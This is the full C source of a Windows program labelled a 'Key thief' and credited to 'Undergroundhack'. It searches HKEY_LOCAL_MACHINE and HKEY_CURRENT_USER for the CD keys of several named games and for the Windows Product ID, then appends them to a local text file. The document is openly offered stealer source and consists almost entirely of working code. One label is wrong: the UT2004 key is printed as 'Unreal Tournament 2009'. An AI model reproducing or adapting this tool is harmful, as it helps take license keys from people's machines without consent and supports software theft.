serial\registry key stealer

/*******************************************************************************
  Name: Key thief
  
  Author: Undergroundhack
  
  Description: Searches the registry for common
  keys and serials then outputs them to a chosen file.
*******************************************************************************/

#include <windows.h>
#include <stdio.h>

#define keyfile "keyfile.txt"

//-----------------------------------------------------------------------------//

void Key(char *loc, char *regkey, char *name)
{
     HKEY key;
     char Serial[25], Sentence[256];
     DWORD len = sizeof(Serial);
         
     FILE *fp = fopen(keyfile,"a");
    
     if( RegOpenKeyEx(HKEY_LOCAL_MACHINE, loc, 0, KEY_QUERY_VALUE, &key) == ERROR_SUCCESS)
     {
         RegQueryValueEx(key, regkey, NULL, NULL, (BYTE *) Serial, &len);
         fprintf(fp, "%s%s\n\n", name, Serial);
     }
     
     else if( RegOpenKeyEx(HKEY_CURRENT_USER, loc, 0, KEY_QUERY_VALUE, &key) == ERROR_SUCCESS)
     {
         RegQueryValueEx(key, regkey, NULL, NULL, (BYTE *) Serial, &len);
         fprintf(fp, "%s%s\n\n", name, Serial);
     }
     
     else fprintf(fp, "%sNo Key Found\n\n", name);
          
     fclose(fp);
}

//-----------------------------------------------------------------------------//

void PrintKey(void)
{    
    Key("SOFTWARE\\Electronic Arts\\EA Games\\Battlefield 2", "ergc", "Battlefield 2: ");
    Key("SOFTWARE\\Electronic Arts\\EA GAMES\\Battlefield 2142", "ergc", "Battlefield 2142: ");
    Key("SOFTWARE\\Activision\\Call of Duty 4", "codkey", "CoD 4: ");
    Key("SOFTWARE\\Activision\\Call of Duty WAW", "codkey", "CoD WaW: ");;
    Key("SOFTWARE\\Electronic Arts\\Electronic Arts\\Crysis", "ergc", "Crysis: ");
    Key("SOFTWARE\\Electronic Arts\\Electronic Arts\\The Battle for Middle-earth II", "ergc", "LotR BFME2: ");
    Key("SOFTWARE\\Microsoft\\Windows\\CurrentVersion", "ProductID", "Microsoft Product ID: ");
    Key("SOFTWARE\\Electronic Arts\\EA Games\\SPORE(TM)", "ergc", "Spore: ");
    Key("SOFTWARE\\Unreal Technology\\Installed Apps\\UT2004", "CDKey", "Unreal Tournament 2009: ");
}

//-----------------------------------------------------------------------------//

int main()
{
    PrintKey();
    printf("Serials output to %s\n", keyfile);
    system("PAUSE"); 
    
    return 0;
}